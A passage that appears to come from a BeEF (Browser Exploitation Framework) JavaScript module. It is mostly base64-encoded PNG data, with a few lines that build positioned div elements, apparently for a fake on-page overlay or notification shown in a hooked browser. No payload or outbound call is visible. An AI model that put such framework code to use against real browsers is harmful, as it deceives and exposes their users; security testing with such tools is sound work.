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);'}); var elr = beef.dom.createElement('div',{'style':'width: 181px; height: 100%; padding: 0; margin: 0 40px 0 0; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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